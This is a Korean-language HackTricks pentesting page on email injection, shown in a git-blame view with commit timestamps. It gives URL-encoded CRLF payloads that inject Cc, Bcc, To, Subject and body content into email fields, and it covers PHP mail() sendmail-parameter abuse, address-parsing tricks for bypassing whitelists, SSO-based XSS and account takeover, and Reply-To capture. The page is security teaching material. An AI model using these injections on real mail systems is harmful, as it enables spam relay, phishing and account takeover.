hacktricks/pentesting-web/email-injections.md

171 lines
9.7 KiB
Markdown
Raw Normal View History

2024-02-10 21:30:13 +00:00
# 이메일 주입
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=email-injections)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
오늘 바로 액세스하세요:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2023-12-31 01:25:17 +00:00
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
2022-04-28 16:01:33 +00:00
</details>
## 보낸 이메일에 주입
### 발신자 인수 뒤에 Cc 및 Bcc 주입
2021-11-27 01:09:08 +00:00
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
수신자 및 수신자1 계정으로 메시지가 전송됩니다.
### 인젝션 인자
2021-11-27 01:09:08 +00:00
```
From:sender@domain.com%0ATo:attacker@domain.com
```
### 주제 인수 주입
원래 수신자와 공격자 계정에 메시지가 전송됩니다.
2024-02-10 21:30:13 +00:00
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
### 메시지 본문 변경
두 줄의 공백을 삽입한 다음 메시지 내용을 작성하여 메시지 본문을 변경합니다.
2021-11-27 01:09:08 +00:00
```
2024-02-10 21:30:13 +00:00
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
2024-02-10 21:30:13 +00:00
### PHP mail() 함수 악용
2021-11-27 01:09:08 +00:00
```bash
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
2024-02-10 21:30:13 +00:00
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
2021-11-27 01:09:08 +00:00
}
```
2024-02-10 21:30:13 +00:00
#### 5번째 매개변수 ($additional\_parameters)
2021-11-27 01:09:08 +00:00
이 섹션은 **공격자가 이를 제어한다고 가정할 때 이 매개변수를 남용하는 방법**에 기반을 둘 것입니다.
2021-11-27 01:09:08 +00:00
이 매개변수는 PHP가 이진 sendmail을 호출하는 데 사용할 명령줄에 추가될 것입니다. 그러나 이는 함수 `escapeshellcmd($additional_parameters)`로 살균될 것입니다.
2021-11-27 01:09:08 +00:00
공격자는 이 경우에 **sendmail에 대한 추출 매개변수를 삽입**할 수 있습니다.
2021-11-27 01:09:08 +00:00
#### /usr/sbin/sendmail의 구현 차이
2021-11-27 01:09:08 +00:00
**sendmail** 인터페이스는 시스템에 설치된 MTA 이메일 소프트웨어(Sendmail, Postfix, Exim 등)에 의해 제공됩니다. **기본 기능**(예: -t -i -f 매개변수)은 호환성을 유지하기 위해 **동일**하지만, **다른 기능과 매개변수**는 설치된 MTA에 따라 크게 다릅니다.
2021-11-27 01:09:08 +00:00
다음은 sendmail 명령/인터페이스의 다른 man 페이지 예시입니다:
2021-11-27 01:09:08 +00:00
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences
**sendmail의 출처에 따라** 다양한 옵션을 남용하고 **파일을 노출하거나 임의의 명령을 실행**하는 방법이 발견되었습니다. 자세한 내용은 [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)에서 확인하세요.
2021-11-27 01:09:08 +00:00
## 이메일 이름에 삽입
2022-12-29 12:18:46 +00:00
### 이메일의 무시된 부분
2022-12-29 12:18:46 +00:00
**+, -** 및 **{}** 기호는 드물게 사용되어 태깅하고 대부분의 이메일 서버에서 무시될 수 있습니다.
2022-12-29 12:18:46 +00:00
2024-02-10 21:30:13 +00:00
* 예: john.doe+intigriti@example.com → john.doe@example.com
2022-12-29 12:18:46 +00:00
괄호 () 사이의 **주석**은 시작이나 끝에 있어도 무시됩니다.
2022-12-29 12:18:46 +00:00
2024-02-10 21:30:13 +00:00
* 예: john.doe(intigriti)@example.com → john.doe@example.com
2022-12-29 12:18:46 +00:00
2024-02-10 21:30:13 +00:00
### 화이트리스트 우회
2022-12-29 12:18:46 +00:00
<figure><img src="../.gitbook/assets/image (812).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
2022-12-29 12:18:46 +00:00
2024-02-10 21:30:13 +00:00
### 따옴표
2022-12-29 12:18:46 +00:00
<figure><img src="../.gitbook/assets/image (626).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
2022-12-29 12:18:46 +00:00
### IP
2022-12-29 12:18:46 +00:00
IP를 도메인 이름으로 사용할 수도 있습니다.
2022-12-29 12:18:46 +00:00
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
2024-02-10 21:30:13 +00:00
### 기타 취약점
2022-12-29 12:18:46 +00:00
![https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](<../.gitbook/assets/image (1131).png>)
2022-12-29 12:18:46 +00:00
2024-02-10 21:30:13 +00:00
## 제3자 SSO
2022-12-29 12:18:46 +00:00
### XSS
**github**나 **salesforce**와 같은 일부 서비스는 **XSS 페이로드가 포함된 이메일 주소를 생성**할 수 있습니다. 이러한 제공업체를 사용하여 다른 서비스에 로그인하고 이 서비스가 이메일을 올바르게 **살균하지 않는다면**, **XSS**를 유발할 수 있습니다.
2022-12-29 12:18:46 +00:00
2024-02-10 21:30:13 +00:00
### 계정 탈취
2022-12-29 12:18:46 +00:00
**SSO 서비스**가 주어진 이메일 주소를 확인하지 않고(예: **salesforce**와 같이) 계정을 생성할 수 있고, 그런 다음 해당 계정을 사용하여 **salesforce를 신뢰하는 다른 서비스에 로그인**할 수 있다면, 어떤 계정에도 액세스할 수 있습니다.\
주어진 이메일이 확인되었는지 여부를 salesforce가 표시하지만 응용 프로그램은 이 정보를 고려해야 합니다.
2022-12-29 12:18:46 +00:00
## Reply-To
_**From: company.com**_ 및 _**Replay-To: attacker.com**_을 사용하여 이메일을 보낼 수 있으며, **내부 주소에서 전송된 이메일로 인해 자동 응답**이 전송된 경우 **공격자**는 해당 **응답을 받을 수** 있을 수 있습니다.
2022-12-29 12:18:46 +00:00
2024-02-10 21:30:13 +00:00
## 하드 바운스 비율
2022-12-29 12:18:46 +00:00
AWS와 같은 특정 서비스는 일반적으로 10%로 설정된 **하드 바운스 비율**이라는 임계값을 구현합니다. 이는 특히 이메일 전달 서비스에 대해 중요한 지표입니다. 이 비율을 초과하면 AWS의 이메일 서비스와 같은 서비스가 중단되거나 차단될 수 있습니다.
2022-12-29 12:18:46 +00:00
**하드 바운스**는 수신자 주소가 잘못되었거나 존재하지 않아 이메일이 발신자에게 반환된 이메일을 의미합니다. 이는 이메일이 존재하지 않는 주소로 전송되거나 실제가 아닌 도메인 또는 수신 서버가 **이메일을 수락하지 않는** 경우 등 다양한 이유로 발생할 수 있습니다.
2022-12-29 12:18:46 +00:00
AWS의 경우, 1000개의 이메일을 보내고 그 중 100개가 하드 바운스로 인해 반환되면(잘못된 주소나 도메인 등의 이유로), 이는 10%의 하드 바운스 비율을 의미합니다. 이 비율에 도달하거나 초과하면 AWS SES(Simple Email Service)가 이메일 발송 기능을 차단하거나 중지시킬 수 있습니다.
2024-02-05 20:00:40 +00:00
끊임없는 이메일 서비스를 보장하고 발신자 평판을 유지하기 위해 낮은 하드 바운스 비율을 유지하는 것이 중요합니다. 메일링 리스트의 이메일 주소 품질을 모니터링하고 관리하는 것은 이를 달성하는 데 크게 도움이 될 수 있습니다.
2024-02-05 20:00:40 +00:00
더 자세한 정보는 AWS의 공식 문서인 [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types)를 참조하십시오.
2022-12-29 12:18:46 +00:00
2024-02-10 21:30:13 +00:00
## 참고 자료
2021-11-27 01:09:08 +00:00
2022-12-29 12:18:46 +00:00
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **히어로**까지 AWS 해킹을 배우세요!</summary>
2023-12-31 01:25:17 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2022-04-28 16:01:33 +00:00
* **회사를 HackTricks에서 광고**하거나 **PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=email-injections)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
오늘 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}